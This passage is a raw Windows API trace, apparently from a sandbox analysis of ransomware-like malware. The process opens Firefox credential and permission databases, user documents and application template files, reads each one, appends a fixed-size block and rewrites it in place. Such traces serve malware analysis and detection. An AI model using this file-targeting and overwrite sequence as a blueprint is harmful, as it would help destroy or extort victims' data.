lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="key3.db", lpUsedDefaultChar=0x0) returned 7 [0031.883] ReadFile (in: hFile=0x190, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.886] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3000 [0031.886] ReadFile (in: hFile=0x190, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.886] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x3000 [0031.886] WriteFile (in: hFile=0x190, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0031.886] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0031.886] WriteFile (in: hFile=0x190, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0031.887] CloseHandle (hObject=0x190) returned 1 [0031.888] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\permissions.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\permissions.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0031.888] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0031.888] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x10000 [0031.888] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0031.888] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.888] ReleaseMutex (hMutex=0x128) returned 1 [0031.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="permissions.sqlite", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0031.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="permissions.sqlite", cchWideChar=18, lpMultiByteStr=0x1e78bcc, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="permissions.sqlite", lpUsedDefaultChar=0x0) returned 18 [0031.888] ReadFile (in: hFile=0x190, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0031.890] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xf000 [0031.890] ReadFile (in: hFile=0x190, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.891] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xf000 [0031.891] WriteFile (in: hFile=0x190, lpBuffer=0x1dcf938*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dcf938*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0031.891] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0031.891] WriteFile (in: hFile=0x190, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0031.891] CloseHandle (hObject=0x190) returned 1 [0031.892] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AssemblyInfoInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\assemblyinfointernal.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0031.893] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0031.893] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x4e2 [0031.893] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0031.893] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.893] ReleaseMutex (hMutex=0x128) returned 1 [0031.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AssemblyInfoInternal.zip", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0031.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AssemblyInfoInternal.zip", cchWideChar=24, lpMultiByteStr=0x1e7fc3c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AssemblyInfoInternal.zip", lpUsedDefaultChar=0x0) returned 24 [0031.893] ReadFile (in: hFile=0x190, lpBuffer=0x1dc97f8, nNumberOfBytesToRead=0x4e2, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dc97f8*, lpNumberOfBytesRead=0x2c0f2bc*=0x4e2, lpOverlapped=0x0) returned 1 [0031.895] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0031.895] WriteFile (in: hFile=0x190, lpBuffer=0x2513ca8*, nNumberOfBytesToWrite=0xa6a, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2513ca8*, lpNumberOfBytesWritten=0x2c0f2d0*=0xa6a, lpOverlapped=0x0) returned 1 [0031.895] CloseHandle (hObject=0x190) returned 1 [0031.895] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Settings.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\settings.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0031.896] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0031.896] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x3b8 [0031.896] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0031.896] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.896] ReleaseMutex (hMutex=0x128) returned 1 [0031.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Settings.zip", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Settings.zip", cchWideChar=12, lpMultiByteStr=0x1e6316c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Settings.zip", lpUsedDefaultChar=0x0) returned 12 [0031.896] ReadFile (in: hFile=0x190, lpBuffer=0x1dc97f8, nNumberOfBytesToRead=0x3b8, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dc97f8*, lpNumberOfBytesRead=0x2c0f2bc*=0x3b8, lpOverlapped=0x0) returned 1 [0031.928] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0031.929] WriteFile (in: hFile=0x190, lpBuffer=0x1d80038*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80038*, lpNumberOfBytesWritten=0x2c0f2d0*=0x940, lpOverlapped=0x0) returned 1 [0031.929] CloseHandle (hObject=0x190) returned 1 [0031.930] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Dialog.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\dialog.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0031.930] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0031.930] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x7f4 [0031.930] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0031.930] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.930] ReleaseMutex (hMutex=0x128) returned 1 [0031.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dialog.zip", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dialog.zip", cchWideChar=10, lpMultiByteStr=0x1e6306c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dialog.zip", lpUsedDefaultChar=0x0) returned 10 [0031.930] ReadFile (in: hFile=0x190, lpBuffer=0x25c3dc8, nNumberOfBytesToRead=0x7f4, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c3dc8*, lpNumberOfBytesRead=0x2c0f2bc*=0x7f4, lpOverlapped=0x0) returned 1 [0031.949] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0031.949] WriteFile (in: hFile=0x190, lpBuffer=0x25c9f08*, nNumberOfBytesToWrite=0xd7c, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c9f08*, lpNumberOfBytesWritten=0x2c0f2d0*=0xd7c, lpOverlapped=0x0) returned 1 [0031.949] CloseHandle (hObject=0x190) returned 1 [0031.950] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Text.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\text.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0031.950] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0031.950] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x22b [0031.950] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0031.950] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.951] ReleaseMutex (hMutex=0x128) returned 1 [0031.951] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Text.zip", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0031.951] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Text.zip", cchWideChar=8, lpMultiByteStr=0x1e6316c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Text.zip", lpUsedDefaultChar=0x0) returned 8 [0031.951] ReadFile (in: hFile=0x190, lpBuffer=0x1e0e048, nNumberOfBytesToRead=0x22b, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e0e048*, lpNumberOfBytesRead=0x2c0f2bc*=0x22b, lpOverlapped=0x0) returned 1 [0031.951] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0031.952] WriteFile (in: hFile=0x190, lpBuffer=0x1d80038*, nNumberOfBytesToWrite=0x7b3, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80038*, lpNumberOfBytesWritten=0x2c0f2d0*=0x7b3, lpOverlapped=0x0) returned 1 [0031.952] CloseHandle (hObject=0x190) returned 1 [0031.952] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zLDBHXnLH.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zldbhxnlh.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0031.953] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0031.953] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x17e55 [0031.953] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0031.953] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.953] ReleaseMutex (hMutex=0x128) returned 1 [0031.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zLDBHXnLH.xlsx", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0031.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zLDBHXnLH.xlsx", cchWideChar=14, lpMultiByteStr=0x1e6306c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zLDBHXnLH.xlsx", lpUsedDefaultChar=0x0) returned 14 [0031.953] ReadFile (in: hFile=0x190, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0031.954] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x16e55 [0031.954] ReadFile (in: hFile=0x190, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.954] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x16e55 [0031.954] WriteFile (in: hFile=0x190, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0031.954] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0031.955] WriteFile (in: hFile=0x190, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0031.955] CloseHandle (hObject=0x190) returned 1 [0031.956] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\phnQS r1cRXaNGBioZ.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\phnqs r1crxangbioz.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0031.956] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0031.956] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xb93e [0031.956] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0031.956] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.956] ReleaseMutex (hMutex=0x128) returned 1 [0031.956] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="phnQS r1cRXaNGBioZ.docx", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0031.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="phnQS r1cRXaNGBioZ.docx", cchWideChar=23, lpMultiByteStr=0x1e78654, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="phnQS r1cRXaNGBioZ.docx", lpUsedDefaultChar=0x0) returned 23 [0031.957] ReadFile (in: hFile=0x190, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0031.957] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xa93e [0031.957] ReadFile (in: hFile=0x190, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.957] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xa93e [0031.958] WriteFile (in: hFile=0x190, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0031.958] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0031.958] WriteFile (in: hFile=0x190, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0031.958] CloseHandle (hObject=0x190) returned 1 [0031.959] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5lcB5sR2E7Db5N.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5lcb5sr2e7db5n.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0031.959] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0031.959] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x453e [0031.959] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0031.959] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.959] ReleaseMutex (hMutex=0x128) returned 1 [0031.959] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5lcB5sR2E7Db5N.odt", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0031.959] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5lcB5sR2E7Db5N.odt", cchWideChar=18, lpMultiByteStr=0x1e78654, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5lcB5sR2E7Db5N.odt", lpUsedDefaultChar=0x0) returned 18 [0031.959] ReadFile (in: hFile=0x190, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.960] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x353e [0031.960] ReadFile (in: hFile=0x190, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.960] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x353e [0031.960] WriteFile (in: hFile=0x190, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0031.960] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0031.960] WriteFile (in: hFile=0x190, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0031.961] CloseHandle (hObject=0x190) returned 1 [0031.961] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0031.962] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, 